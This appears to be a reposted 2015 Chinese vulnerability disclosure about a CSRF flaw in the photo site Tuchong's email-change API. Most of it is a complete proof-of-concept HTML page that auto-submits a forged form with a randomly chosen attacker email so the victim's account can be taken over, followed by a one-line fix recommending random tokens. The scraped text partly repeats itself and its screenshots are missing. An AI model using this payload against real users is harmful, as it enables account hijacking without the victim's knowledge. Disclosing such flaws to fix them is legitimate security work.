鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

图虫网利用csrf可劫持账号

来源:互联网 作者:佚名 时间:2015-10-19 08:46
修改邮箱处未验证token,可通过一个精心构造的表单来修改用户的邮箱。由于邮箱需要唯一性,所以可以通过一个数组来随机抽取邮箱。 POC: htmlbodyform name=csrf action=http://tuchong.com/api/user/modify/ method=POSTinput type=text name=section value=
修改邮箱处未验证token,可通过一个精心构造的表单来修改用户的邮箱。由于邮箱需要唯一性,所以可以通过一个数组来随机抽取邮箱。 
POC:
 
 
<html>
<body>
<form name="csrf" action="http://tuchong.com/api/user/modify/" method="POST">
<input type=text name=section value="basicinfo"></input>
<script>
var email =['root1@wooyun.org','root2@wooyun.org','root3@wooyun.org','root4@wooyun.org','root5@wooyun.org','root6@wooyun.org','root7@wooyun.org','root8@wooyun.org','root9@wooyun.org','root10@wooyun.org'];
function Rand(arr, len) { 
    arr.sort(function () { 
        return Math.random()-0.5; 
    }); 
    return arr.slice(0, len); 
}
//alert(Rand(email,1));
document.write("<input type=text name=user_email value="+Rand(email,1)+"></input>");
</script>
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>

 

 
before:
 
 
after:
 
 


 
修复方案:

任何涉及用户信息的操作都应该需要随机的token
 
网友评论
<